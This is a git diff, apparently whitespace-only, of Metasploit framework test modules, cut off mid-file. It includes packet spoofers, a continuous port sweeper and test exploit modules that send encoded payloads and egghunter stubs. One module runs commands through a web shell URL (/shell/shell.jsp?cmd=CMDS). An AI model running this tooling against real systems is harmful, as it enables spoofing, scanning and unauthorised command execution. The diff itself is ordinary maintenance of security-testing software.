b/test/modules/auxiliary/test/eth_spoof.rb @@ -15,43 +15,43 @@ class Metasploit3 < Msf::Auxiliary - include Msf::Auxiliary::Report - include Msf::Exploit::Capture - - def initialize - super( - 'Name' => 'Simple Ethernet Frame Spoofer', - 'Version' => '$Revision$', - 'Description' => 'This module sends spoofed ethernet frames', - 'Author' => 'hdm', - 'License' => MSF_LICENSE, - 'Actions' => - [ - [ 'Spoofer' ] - ], - 'DefaultAction' => 'Spoofer' - ) - end - - def run - print_status("Opening the network interface...") - open_pcap() - - p = PacketFu::UDPPacket.new - p.eth_saddr = "00:41:41:41:41:41" - p.eth_daddr = "00:42:42:42:42:42" - p.ip_saddr = "41.41.41.41" - p.ip_daddr = "42.42.42.42" - p.udp_sport = 0x41 - p.udp_dport = 0x42 - p.payload = "SPOOOOOFED" - p.recalc - 1.upto(10) do - capture.inject(p.to_s) - end - - close_pcap() - print_status("Finished sending") - end + include Msf::Auxiliary::Report + include Msf::Exploit::Capture + + def initialize + super( + 'Name' => 'Simple Ethernet Frame Spoofer', + 'Version' => '$Revision$', + 'Description' => 'This module sends spoofed ethernet frames', + 'Author' => 'hdm', + 'License' => MSF_LICENSE, + 'Actions' => + [ + [ 'Spoofer' ] + ], + 'DefaultAction' => 'Spoofer' + ) + end + + def run + print_status("Opening the network interface...") + open_pcap() + + p = PacketFu::UDPPacket.new + p.eth_saddr = "00:41:41:41:41:41" + p.eth_daddr = "00:42:42:42:42:42" + p.ip_saddr = "41.41.41.41" + p.ip_daddr = "42.42.42.42" + p.udp_sport = 0x41 + p.udp_dport = 0x42 + p.payload = "SPOOOOOFED" + p.recalc + 1.upto(10) do + capture.inject(p.to_s) + end + + close_pcap() + print_status("Finished sending") + end end diff --git a/test/modules/auxiliary/test/ftp_data.rb b/test/modules/auxiliary/test/ftp_data.rb index a2da65223798..415e41b94a04 100644 --- a/test/modules/auxiliary/test/ftp_data.rb +++ b/test/modules/auxiliary/test/ftp_data.rb @@ -13,82 +13,82 @@ class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::Ftp - - def initialize - super( - 'Name' => 'FTP Client Exploit Mixin DATA test Exploit', - 'Version' => '$Revision$', - 'Description' => 'This module tests the "DATA" functionality of the ftp client exploit mixin.', - 'Author' => [ 'Thomas Ring', 'jduck' ], - 'License' => MSF_LICENSE - ) - - - register_options( - [ - OptString.new('UPLOADDIR', [ true, "The directory to use for the upload test", '/incoming' ]) - ] - ) - end - - def run - - begin - if (not connect_login) - return - end - - curdir = "" - - # change to the upload directory - result = send_cmd( ["CWD", datastore['UPLOADDIR']], true ) - print_status("CWD response: #{result.inspect}") - - # find out what the server thinks this dir is - result = send_cmd( ["PWD"], true ) - print_status("PWD response: #{result.inspect}") - if (result =~ /257\s\"(.+)\"/) - curdir = $1 - end - curdir = "/" + curdir if curdir[0] != "/" - curdir << "/" if curdir[-1,1] != "/" - - # generate some data to upload - data = Rex::Text.rand_text_alphanumeric(1024) - #print_status("data:\n" + Rex::Text.to_hex_dump(data)) - - # test putting data - result = send_cmd_data(["PUT", curdir+"test"], data, "I") - print_status("PUT response: #{result.inspect}") - - # test fallthrough - result = send_cmd_data(["HELP"], true) - print_status("HELP response: #{result.inspect}") - - # test listing directory - result = send_cmd_data(["LS", curdir], "A") - print_status("LS response: #{result.inspect}") - - # test getting file - result = send_cmd_data(["GET", curdir+"test"], "A") - print_status("GET response: #{result[0].inspect}") - - # see if it matches - if (result[1] != data) - print_error("Data doesn't match!") - else - print_good("Data downloaded matches what we uploaded!") - end - - # adios - result = send_cmd( ["QUIT"], true ) - print_status("QUIT response: #{result.inspect}") - - ensure - disconnect - end - - end + include Msf::Exploit::Remote::Ftp + + def initialize + super( + 'Name' => 'FTP Client Exploit Mixin DATA test Exploit', + 'Version' => '$Revision$', + 'Description' => 'This module tests the "DATA" functionality of the ftp client exploit mixin.', + 'Author' => [ 'Thomas Ring', 'jduck' ], + 'License' => MSF_LICENSE + ) + + + register_options( + [ + OptString.new('UPLOADDIR', [ true, "The directory to use for the upload test", '/incoming' ]) + ] + ) + end + + def run + + begin + if (not connect_login) + return + end + + curdir = "" + + # change to the upload directory + result = send_cmd( ["CWD", datastore['UPLOADDIR']], true ) + print_status("CWD response: #{result.inspect}") + + # find out what the server thinks this dir is + result = send_cmd( ["PWD"], true ) + print_status("PWD response: #{result.inspect}") + if (result =~ /257\s\"(.+)\"/) + curdir = $1 + end + curdir = "/" + curdir if curdir[0] != "/" + curdir << "/" if curdir[-1,1] != "/" + + # generate some data to upload + data = Rex::Text.rand_text_alphanumeric(1024) + #print_status("data:\n" + Rex::Text.to_hex_dump(data)) + + # test putting data + result = send_cmd_data(["PUT", curdir+"test"], data, "I") + print_status("PUT response: #{result.inspect}") + + # test fallthrough + result = send_cmd_data(["HELP"], true) + print_status("HELP response: #{result.inspect}") + + # test listing directory + result = send_cmd_data(["LS", curdir], "A") + print_status("LS response: #{result.inspect}") + + # test getting file + result = send_cmd_data(["GET", curdir+"test"], "A") + print_status("GET response: #{result[0].inspect}") + + # see if it matches + if (result[1] != data) + print_error("Data doesn't match!") + else + print_good("Data downloaded matches what we uploaded!") + end + + # adios + result = send_cmd( ["QUIT"], true ) + print_status("QUIT response: #{result.inspect}") + + ensure + disconnect + end + + end end diff --git a/test/modules/auxiliary/test/ip_spoof.rb b/test/modules/auxiliary/test/ip_spoof.rb index b722a645ff76..9cd164b8eeae 100644 --- a/test/modules/auxiliary/test/ip_spoof.rb +++ b/test/modules/auxiliary/test/ip_spoof.rb @@ -14,56 +14,56 @@ class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Capture - include Msf::Auxiliary::Scanner + include Msf::Exploit::Capture + include Msf::Auxiliary::Scanner - def initialize - super( - 'Name' => 'Simple IP Spoofing Tester', - 'Version' => '$Revision$', - 'Description' => 'Simple IP Spoofing Tester', - 'Author' => 'hdm', - 'License' => MSF_LICENSE - ) + def initialize + super( + 'Name' => 'Simple IP Spoofing Tester', + 'Version' => '$Revision$', + 'Description' => 'Simple IP Spoofing Tester', + 'Author' => 'hdm', + 'License' => MSF_LICENSE + ) - begin - require 'pcaprub' - @@havepcap = true - rescue ::LoadError - @@havepcap = false - end + begin + require 'pcaprub' + @@havepcap = true + rescue ::LoadError + @@havepcap = false + end - deregister_options('FILTER','PCAPFILE') + deregister_options('FILTER','PCAPFILE') - end + end - def run_host(ip) - open_pcap - p = PacketFu::UDPPacket.new - p.ip_saddr = ip - p.ip_daddr = ip - p.ip_ttl = 255 - p.udp_sport = 53 - p.udp_dport = 53 - p.payload = "HELLO WORLD" - p.recalc - ret = send(ip,p) - if ret == :done - print_good("#{ip}: Sent a packet to #{ip} from #{ip}") - else - print_error("#{ip}: Packet not sent. Check permissions & interface.") - end - close_pcap - end + def run_host(ip) + open_pcap + p = PacketFu::UDPPacket.new + p.ip_saddr = ip + p.ip_daddr = ip + p.ip_ttl = 255 + p.udp_sport = 53 + p.udp_dport = 53 + p.payload = "HELLO WORLD" + p.recalc + ret = send(ip,p) + if ret == :done + print_good("#{ip}: Sent a packet to #{ip} from #{ip}") + else + print_error("#{ip}: Packet not sent. Check permissions & interface.") + end + close_pcap + end - def send(ip,pkt) - begin - capture_sendto(pkt, ip) - rescue RuntimeError => e - return :error - end - return :done - end + def send(ip,pkt) + begin + capture_sendto(pkt, ip) + rescue RuntimeError => e + return :error + end + return :done + end end diff --git a/test/modules/auxiliary/test/recon_passive.rb b/test/modules/auxiliary/test/recon_passive.rb index f1120e2298b1..45f24575e491 100644 --- a/test/modules/auxiliary/test/recon_passive.rb +++ b/test/modules/auxiliary/test/recon_passive.rb @@ -15,66 +15,66 @@ class Metasploit3 < Msf::Auxiliary - include Msf::Auxiliary::Report - include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::Tcp - def initialize - super( - 'Name' => 'Simple Recon Module Tester', - 'Version' => '$Revision$', - 'Description' => 'Simple Recon Module Tester', - 'Author' => 'hdm', - 'License' => MSF_LICENSE, - 'Actions' => - [ - ['Continuous Port Sweep'] - ], - 'PassiveActions' => - [ - 'Continuous Port Sweep' - ] - ) + def initialize + super( + 'Name' => 'Simple Recon Module Tester', + 'Version' => '$Revision$', + 'Description' => 'Simple Recon Module Tester', + 'Author' => 'hdm', + 'License' => MSF_LICENSE, + 'Actions' => + [ + ['Continuous Port Sweep'] + ], + 'PassiveActions' => + [ + 'Continuous Port Sweep' + ] + ) - register_options( - [ - Opt::RHOST, - Opt::RPORT, - ], self.class) + register_options( + [ + Opt::RHOST, + Opt::RPORT, + ], self.class) - end + end - def run - print_status("Running the simple recon module with action #{action.name}") + def run + print_status("Running the simple recon module with action #{action.name}") - case action.name - when 'Continuous Port Sweep' - while (true) - 1.upto(65535) do |port| - datastore['RPORT'] = port - prober() - end - end - end - end + case action.name + when 'Continuous Port Sweep' + while (true) + 1.upto(65535) do |port| + datastore['RPORT'] = port + prober() + end + end + end + end - def prober - begin - connect - disconnect - report_host(:host => datastore['RHOST']) - report_service( - :host => datastore['RHOST'], - :port => datastore['RPORT'], - :proto => 'tcp' - ) - rescue ::Exception => e - case e.to_s - when /connection was refused/ - report_host(:host => datastore['RHOST']) - else - print_status(e.to_s) - end - end - end + def prober + begin + connect + disconnect + report_host(:host => datastore['RHOST']) + report_service( + :host => datastore['RHOST'], + :port => datastore['RPORT'], + :proto => 'tcp' + ) + rescue ::Exception => e + case e.to_s + when /connection was refused/ + report_host(:host => datastore['RHOST']) + else + print_status(e.to_s) + end + end + end end diff --git a/test/modules/auxiliary/test/scanner_batch.rb b/test/modules/auxiliary/test/scanner_batch.rb index 47b99483210e..f11d51815816 100644 --- a/test/modules/auxiliary/test/scanner_batch.rb +++ b/test/modules/auxiliary/test/scanner_batch.rb @@ -15,30 +15,30 @@ class Metasploit3 < Msf::Auxiliary - include Msf::Auxiliary::Scanner - - def initialize - super( - 'Name' => 'Simple Recon Module Tester', - 'Version' => '$Revision$', - 'Description' => 'Simple Recon Module Tester', - 'Author' => 'hdm', - 'License' => MSF_LICENSE - ) - - register_options( - [ - Opt::RPORT, - ], self.class) - - end - - def run_batch_size - 3 - end - - def run_batch(batch) - print_status("Working on batch #{batch.join(",")}") - end + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'Simple Recon Module Tester', + 'Version' => '$Revision$', + 'Description' => 'Simple Recon Module Tester', + 'Author' => 'hdm', + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT, + ], self.class) + + end + + def run_batch_size + 3 + end + + def run_batch(batch) + print_status("Working on batch #{batch.join(",")}") + end end diff --git a/test/modules/auxiliary/test/scanner_host.rb b/test/modules/auxiliary/test/scanner_host.rb index 8417ce4e1c49..828e331162f2 100644 --- a/test/modules/auxiliary/test/scanner_host.rb +++ b/test/modules/auxiliary/test/scanner_host.rb @@ -15,26 +15,26 @@ class Metasploit3 < Msf::Auxiliary - include Msf::Auxiliary::Scanner - - def initialize - super( - 'Name' => 'Simple Recon Module Tester', - 'Version' => '$Revision$', - 'Description' => 'Simple Recon Module Tester', - 'Author' => 'hdm', - 'License' => MSF_LICENSE - ) - - register_options( - [ - Opt::RPORT, - ], self.class) - - end - - def run_host(ip) - print_status("Working on host #{ip}") - end + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'Simple Recon Module Tester', + 'Version' => '$Revision$', + 'Description' => 'Simple Recon Module Tester', + 'Author' => 'hdm', + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT, + ], self.class) + + end + + def run_host(ip) + print_status("Working on host #{ip}") + end end diff --git a/test/modules/auxiliary/test/scanner_range.rb b/test/modules/auxiliary/test/scanner_range.rb index 807fb690f7d1..59d5acfbf96b 100644 --- a/test/modules/auxiliary/test/scanner_range.rb +++ b/test/modules/auxiliary/test/scanner_range.rb @@ -15,29 +15,29 @@ class Metasploit3 < Msf::Auxiliary - include Msf::Auxiliary::Scanner - - def initialize - super( - 'Name' => 'Simple Recon Module Tester', - 'Version' => '$Revision$', - 'Description' => 'Simple Recon Module Tester', - 'Author' => 'hdm', - 'License' => MSF_LICENSE - ) - - register_options( - [ - Opt::RPORT, - ], self.class) - - end - - def run_range(range) - print_status("Working on range #{range}") - rw = Rex::Socket::RangeWalker.new(range) - print_status("RangeWalker: #{rw.inspect}") - end + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'Simple Recon Module Tester', + 'Version' => '$Revision$', + 'Description' => 'Simple Recon Module Tester', + 'Author' => 'hdm', + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT, + ], self.class) + + end + + def run_range(range) + print_status("Working on range #{range}") + rw = Rex::Socket::RangeWalker.new(range) + print_status("RangeWalker: #{rw.inspect}") + end end diff --git a/test/modules/auxiliary/test/space-check.rb b/test/modules/auxiliary/test/space-check.rb index 4213efd9c572..a8a632d6864b 100644 --- a/test/modules/auxiliary/test/space-check.rb +++ b/test/modules/auxiliary/test/space-check.rb @@ -9,14 +9,14 @@ class Metasploit3 < Msf::Auxiliary - include Msf::Auxiliary::Report - include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient def initialize(info = {}) - super(update_info(info, - 'Name' => "Check Test", - 'Description' => %q{ - This module ensures that 'check' actually functions for Auxiilary modules. + super(update_info(info, + 'Name' => "Check Test", + 'Description' => %q{ + This module ensures that 'check' actually functions for Auxiilary modules. }, 'References' => [ diff --git a/test/modules/exploits/test/aggressive.rb b/test/modules/exploits/test/aggressive.rb index f53cb3e95780..28087e438efc 100644 --- a/test/modules/exploits/test/aggressive.rb +++ b/test/modules/exploits/test/aggressive.rb @@ -12,106 +12,106 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = ManualRanking - - include Msf::Exploit::Remote::Tcp - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Internal Aggressive Test Exploit', - 'Description' => - "This module tests the exploitation of a test service.", - 'Author' => 'skape', - 'License' => MSF_LICENSE, - 'Version' => '$Revision$', - 'Arch' => 'x86', - 'Payload' => - { - 'Space' => 1000, - 'MaxNops' => 0, - 'BadChars' => "\x00", - 'StackAdjustment' => -3500, - }, - 'Targets' => - [ - # Target 0: Universal - [ - 'Any Platform', - { - 'Platform' => [ 'linux', 'win' ] - } - ], - [ - 'Test encoder specific', - { - 'Platform' => [ 'linux', 'win' ], - 'Payload' => - { - 'EncoderType' => Msf::Encoder::Type::AlphanumUpper, - 'EncoderOptions' => - { - 'BufferRegister' => 'EBX', - 'BufferOffset' => 4 - } - } - }, - ], - [ - 'Cannot be encoded', - { - 'Platform' => [ 'linux', 'win' ], - 'Payload' => - { - 'BadChars' => (0..255).to_a.map { |x| x.chr }.to_s - } - } - ], - [ 'Test context encoder', - { - 'Platform' => [ 'linux', 'win' ], - 'Payload' => - { - 'BadChars' => "\x00" - } - } - ] - ], - 'DefaultTarget' => 0)) - - register_options( - [ - OptBool.new('WaitForInput', [ false, "Wait for user input before returning from exploit", false ]), - OptInt.new('TestInteger', [ false, "Testing an integer value", nil ]) - ]) - end - - - def autofilter - false - end - - def check - return Exploit::CheckCode::Vulnerable - end - - def exploit - # Show disassembled payload for context encoder test - if target.name =~ /context encoder/ - puts Rex::Assembly::Nasm.disassemble(payload.encoded[0,40]) - end - - connect - - print_status("Sending #{payload.encoded.length} byte payload...[#{datastore['TestInteger']}]") - - sock.put(payload.encoded) - - if (datastore['WaitForInput']) - puts "Type something..." - gets - end - - handler - end + Rank = ManualRanking + + include Msf::Exploit::Remote::Tcp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Internal Aggressive Test Exploit', + 'Description' => + "This module tests the exploitation of a test service.", + 'Author' => 'skape', + 'License' => MSF_LICENSE, + 'Version' => '$Revision$', + 'Arch' => 'x86', + 'Payload' => + { + 'Space' => 1000, + 'MaxNops' => 0, + 'BadChars' => "\x00", + 'StackAdjustment' => -3500, + }, + 'Targets' => + [ + # Target 0: Universal + [ + 'Any Platform', + { + 'Platform' => [ 'linux', 'win' ] + } + ], + [ + 'Test encoder specific', + { + 'Platform' => [ 'linux', 'win' ], + 'Payload' => + { + 'EncoderType' => Msf::Encoder::Type::AlphanumUpper, + 'EncoderOptions' => + { + 'BufferRegister' => 'EBX', + 'BufferOffset' => 4 + } + } + }, + ], + [ + 'Cannot be encoded', + { + 'Platform' => [ 'linux', 'win' ], + 'Payload' => + { + 'BadChars' => (0..255).to_a.map { |x| x.chr }.to_s + } + } + ], + [ 'Test context encoder', + { + 'Platform' => [ 'linux', 'win' ], + 'Payload' => + { + 'BadChars' => "\x00" + } + } + ] + ], + 'DefaultTarget' => 0)) + + register_options( + [ + OptBool.new('WaitForInput', [ false, "Wait for user input before returning from exploit", false ]), + OptInt.new('TestInteger', [ false, "Testing an integer value", nil ]) + ]) + end + + + def autofilter + false + end + + def check + return Exploit::CheckCode::Vulnerable + end + + def exploit + # Show disassembled payload for context encoder test + if target.name =~ /context encoder/ + puts Rex::Assembly::Nasm.disassemble(payload.encoded[0,40]) + end + + connect + + print_status("Sending #{payload.encoded.length} byte payload...[#{datastore['TestInteger']}]") + + sock.put(payload.encoded) + + if (datastore['WaitForInput']) + puts "Type something..." + gets + end + + handler + end end diff --git a/test/modules/exploits/test/check.rb b/test/modules/exploits/test/check.rb index a7aef9118b84..52d0e0c10f1c 100644 --- a/test/modules/exploits/test/check.rb +++ b/test/modules/exploits/test/check.rb @@ -9,37 +9,37 @@ class Metasploit3 < Msf::Exploit - def initialize(info = {}) - super(update_info(info, - 'Name' => "Check Test Exploit", - 'Description' => %q{ - This module ensures that 'check' actually functions for Exploit modules. - }, - 'References' => - [ - [ 'OSVDB', '0' ] - ], - 'Author' => - [ - 'todb' - ], - 'License' => MSF_LICENSE, - 'DisclosureDate' => 'May 23 2013' - )) + def initialize(info = {}) + super(update_info(info, + 'Name' => "Check Test Exploit", + 'Description' => %q{ + This module ensures that 'check' actually functions for Exploit modules. + }, + 'References' => + [ + [ 'OSVDB', '0' ] + ], + 'Author' => + [ + 'todb' + ], + 'License' => MSF_LICENSE, + 'DisclosureDate' => 'May 23 2013' + )) - register_options( - [ - Opt::RPORT(80) - ], self.class) - end + register_options( + [ + Opt::RPORT(80) + ], self.class) + end - def check - print_debug "Check is successful" - return Msf::Exploit::CheckCode::Vulnerable - end + def check + print_debug "Check is successful" + return Msf::Exploit::CheckCode::Vulnerable + end - def exploit - print_debug "Exploit is successful." - end + def exploit + print_debug "Exploit is successful." + end end diff --git a/test/modules/exploits/test/cmdweb.rb b/test/modules/exploits/test/cmdweb.rb index 872c5d77f86f..016d25834b0a 100644 --- a/test/modules/exploits/test/cmdweb.rb +++ b/test/modules/exploits/test/cmdweb.rb @@ -12,75 +12,75 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = ManualRanking - # =( need more targets and perhaps more OS specific return values OS specific would be preferred + Rank = ManualRanking + # =( need more targets and perhaps more OS specific return values OS specific would be preferred - include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStagerVBS - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Command Stager Web Test', - 'Description' => %q{ - This module tests the command stager mixin against a shell.jsp application installed - on an Apache Tomcat server. - }, - 'Author' => 'bannedit', - 'Version' => '$Revision$', - 'References' => - [ - ], - 'DefaultOptions' => - { - }, - 'Payload' => - { - }, - 'Platform' => 'win', - 'Privileged' => true, - 'Targets' => - [ - # need more but this will likely cover most cases - [ 'Automatic Targeting', - { - 'auto' => true - } - ], - ], - 'DefaultTarget' => 0, - 'DisclosureDate' => 'Feb 03 2010')) + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Command Stager Web Test', + 'Description' => %q{ + This module tests the command stager mixin against a shell.jsp application installed + on an Apache Tomcat server. + }, + 'Author' => 'bannedit', + 'Version' => '$Revision$', + 'References' => + [ + ], + 'DefaultOptions' => + { + }, + 'Payload' => + { + }, + 'Platform' => 'win', + 'Privileged' => true, + 'Targets' => + [ + # need more but this will likely cover most cases + [ 'Automatic Targeting', + { + 'auto' => true + } + ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Feb 03 2010')) - register_options( - [ - Opt::RPORT(8080), - ], self.class) - end + register_options( + [ + Opt::RPORT(8080), + ], self.class) + end - def autofilter - false - end + def autofilter + false + end - # This is method required for the CmdStager to work... - def execute_command(cmd, opts) - uri = opts[:uri] - http_hash = { - 'uri' => uri.gsub(/CMDS/, Rex::Text.uri_encode(cmd)) - } - resp = send_request_raw(http_hash, 5) - end + # This is method required for the CmdStager to work... + def execute_command(cmd, opts) + uri = opts[:uri] + http_hash = { + 'uri' => uri.gsub(/CMDS/, Rex::Text.uri_encode(cmd)) + } + resp = send_request_raw(http_hash, 5) + end - def exploit + def exploit - opts = { - :delay => 0.5, - :uri => "/shell/shell.jsp?cmd=CMDS" - } + opts = { + :delay => 0.5, + :uri => "/shell/shell.jsp?cmd=CMDS" + } - execute_cmdstager(opts) + execute_cmdstager(opts) - handler + handler - end + end end diff --git a/test/modules/exploits/test/dialup.rb b/test/modules/exploits/test/dialup.rb index bb3be6a8c7bf..a4f9b6cb6007 100644 --- a/test/modules/exploits/test/dialup.rb +++ b/test/modules/exploits/test/dialup.rb @@ -12,46 +12,46 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = ManualRanking - - include Msf::Exploit::Remote::Dialup - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Test Dialup Exploit', - 'Description' => %q{ - This exploit connects to a system's modem over dialup and provides - the user with a readout of the login banner. - }, - 'Version' => '$Revision$', - 'Author' => - [ - 'I)ruid', - ], - 'Arch' => ARCH_TTY, - 'Platform' => ['unix'], - 'License' => MSF_LICENSE, - 'Payload' => - { - 'Space' => 1000, - 'BadChars' => '', - 'DisableNops' => true, - }, - 'Targets' => - [ - [ 'Automatic', { } ], - ], - 'DefaultTarget' => 0)) - end - - def autofilter - false - end - - def exploit - connect_dialup - handler - disconnect_dialup - end + Rank = ManualRanking + + include Msf::Exploit::Remote::Dialup + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Test Dialup Exploit', + 'Description' => %q{ + This exploit connects to a system's modem over dialup and provides + the user with a readout of the login banner. + }, + 'Version' => '$Revision$', + 'Author' => + [ + 'I)ruid', + ], + 'Arch' => ARCH_TTY, + 'Platform' => ['unix'], + 'License' => MSF_LICENSE, + 'Payload' => + { + 'Space' => 1000, + 'BadChars' => '', + 'DisableNops' => true, + }, + 'Targets' => + [ + [ 'Automatic', { } ], + ], + 'DefaultTarget' => 0)) + end + + def autofilter + false + end + + def exploit + connect_dialup + handler + disconnect_dialup + end end diff --git a/test/modules/exploits/test/egghunter.rb b/test/modules/exploits/test/egghunter.rb index d79217b6949c..8da86b65ad26 100644 --- a/test/modules/exploits/test/egghunter.rb +++ b/test/modules/exploits/test/egghunter.rb @@ -12,87 +12,87 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = ManualRanking - - include Msf::Exploit::Remote::Tcp - include Msf::Exploit::Egghunter - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Internal Egghunter Test Exploit', - 'Description' => - "This module tests the exploitation of a test service using the Egghunter.", - 'Author' => 'jduck', - 'License' => MSF_LICENSE, - 'Version' => '$Revision$', - 'Arch' => ARCH_X86, - 'Payload' => - { - 'Space' => 1000, - 'MaxNops' => 0, - 'BadChars' => "\x00", - 'StackAdjustment' => -3500, - }, - 'Targets' => - [ - [ 'Windows', - { - 'Platform' => 'win' - } - ], - - [ 'Linux', - { - 'Platform' => 'linux' - } - ] - ], - 'DefaultTarget' => 0)) - - register_options( - [ - OptBool.new('WaitForInput', [ false, "Wait for user input before returning from exploit", false ]) - ]) - end - - - def autofilter - false - end - - def check - return Exploit::CheckCode::Vulnerable - end - - def exploit - - connect - - print_status("Sending #{payload.encoded.length} byte payload...") - - eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { - :checksum => true - }) - print_status("Egghunter: hunter stub #{eh_stub.length} bytes, egg #{eh_egg.length} bytes") - - sploit = '' - - # break before? - #sploit << "\xcc" - sploit << eh_stub - # just return otherwise - sploit << "\xc3" - # hopefully we find this! - sploit << eh_egg - - sock.put(sploit) - - if (datastore['WaitForInput']) - puts "Type something..." - gets - end - - handler - end + Rank = ManualRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Egghunter + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Internal Egghunter Test Exploit', + 'Description' => + "This module tests the exploitation of a test service using the Egghunter.", + 'Author' => 'jduck', + 'License' => MSF_LICENSE, + 'Version' => '$Revision$', + 'Arch' => ARCH_X86, + 'Payload' => + { + 'Space' => 1000, + 'MaxNops' => 0, + 'BadChars' => "\x00", + 'StackAdjustment' => -3500, + }, + 'Targets' => + [ + [ 'Windows', + { + 'Platform' => 'win' + } + ], + + [ 'Linux', + { + 'Platform' => 'linux' + } + ] + ], + 'DefaultTarget' => 0)) + + register_options( + [ + OptBool.new('WaitForInput', [ false, "Wait for user input before returning from exploit", false ]) + ]) + end + + + def autofilter + false + end + + def check + return Exploit::CheckCode::Vulnerable + end + + def exploit + + connect + + print_status("Sending #{payload.encoded.length} byte payload...") + + eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { + :checksum => true + }) + print_status("Egghunter: hunter stub #{eh_stub.length} bytes, egg #{eh_egg.length} bytes") + + sploit = '' + + # break before? + #sploit << "\xcc" + sploit << eh_stub + # just return otherwise + sploit << "\xc3" + # hopefully we find this! + sploit << eh_egg + + sock.put(sploit) + + if (datastore['WaitForInput']) + puts "Type something..." + gets + end + + handler + end end diff --git a/test/modules/exploits/test/exploitme.rb b/test/modules/exploits/test/exploitme.rb index 52038857d8e3..a2b7b4411ac3 100644 --- a/test/modules/exploits/test/exploitme.rb +++ b/test/modules/exploits/test/exploitme.rb @@ -12,123 +12,123 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = ManualRanking - - include Msf::Exploit::Remote::Tcp - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'MIPS Aggressive Test Exploit', - 'Description' => 'This module tests the exploitation of a test service', - 'Author' => ['skape', 'Julien Tinnes '], - 'License' => MSF_LICENSE, - 'Version' => '$Revision$', - #'Arch' => ARCH_MIPSBE, - 'Payload' => - { - 'MaxNops' => 0, - #'BadChars' => "\x00", - #'StackAdjustment' => -3500, - }, - 'Targets' => - [ - # Target 0: Universal - [ - 'Mips big endian', - { - 'Platform' => [ 'linux', 'win' ], - 'Arch' => ARCH_MIPSBE - } - ], - [ - 'Mips big endian cannot be encoded', - { - 'Platform' => [ 'linux', 'win' ], - 'Arch' => ARCH_MIPSBE, - 'Payload' => - { - 'BadChars' => (0..255).to_a.map { |x| x.chr }.to_s - } - } - ], [ - 'Mips big endian encoder needed', - { - 'Platform' => [ 'linux', 'win' ], - 'Arch' => ARCH_MIPSBE, - 'Payload' => - { - 'BadChars' => "\x00" - } - } - ], - [ - 'Mips little endian', - { - 'Platform' => [ 'linux', 'win' ], - 'Arch' => ARCH_MIPSLE - } - ], - [ - 'Mips little endian cannot be encoded', - { - 'Platform' => [ 'linux', 'win' ], - 'Arch' => ARCH_MIPSLE, - 'Payload' => - { - 'BadChars' => (0..255).to_a.map { |x| x.chr }.to_s - } - } - ], [ - 'Mips little endian encoder needed', - { - 'Platform' => [ 'linux', 'win' ], - 'Arch' => ARCH_MIPSLE, - 'Payload' => - { - 'BadChars' => "\x00" - } - } - ], - - - ], - 'DefaultTarget' => 0)) - - register_options( - [ - OptBool.new('WaitForInput', [ false, "Wait for user input before returning from exploit", false ]), - OptInt.new('TestInteger', [ false, "Testing an integer value", nil ]) - ]) - end - - - def autofilter - false - end - - def check - return Exploit::CheckCode::Vulnerable - end - - def exploit - # Show disassembled payload for context encoder test - if target.name =~ /context encoder/ - #puts Rex::Assembly::Nasm.disassemble(payload.encoded[0,40]) - #FIXME: do this with metasm for MIPS (import new metasm version which fixes current bug!) - end - - connect - - print_status("Sending #{payload.encoded.length} byte payload...[#{datastore['TestInteger']}]") - - sock.put(payload.encoded) - - if (datastore['WaitForInput']) - puts "Type something..." - gets - end - - handler - end + Rank = ManualRanking + + include Msf::Exploit::Remote::Tcp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'MIPS Aggressive Test Exploit', + 'Description' => 'This module tests the exploitation of a test service', + 'Author' => ['skape', 'Julien Tinnes '], + 'License' => MSF_LICENSE, + 'Version' => '$Revision$', + #'Arch' => ARCH_MIPSBE, + 'Payload' => + { + 'MaxNops' => 0, + #'BadChars' => "\x00", + #'StackAdjustment' => -3500, + }, + 'Targets' => + [ + # Target 0: Universal + [ + 'Mips big endian', + { + 'Platform' => [ 'linux', 'win' ], + 'Arch' => ARCH_MIPSBE + } + ], + [ + 'Mips big endian cannot be encoded', + { + 'Platform' => [ 'linux', 'win' ], + 'Arch' => ARCH_MIPSBE, + 'Payload' => + { + 'BadChars' => (0..255).to_a.map { |x| x.chr }.to_s + } + } + ], [ + 'Mips big endian encoder needed', + { + 'Platform' => [ 'linux', 'win' ], + 'Arch' => ARCH_MIPSBE, + 'Payload' => + { + 'BadChars' => "\x00" + } + } + ], + [ + 'Mips little endian', + { + 'Platform' => [ 'linux', 'win' ], + 'Arch' => ARCH_MIPSLE + } + ], + [ + 'Mips little endian cannot be encoded', + { + 'Platform' => [ 'linux', 'win' ], + 'Arch' => ARCH_MIPSLE, + 'Payload' => + { + 'BadChars' => (0..255).to_a.map { |x| x.chr }.to_s + } + } + ], [ + 'Mips little endian encoder needed', + { + 'Platform' => [ 'linux', 'win' ], + 'Arch' => 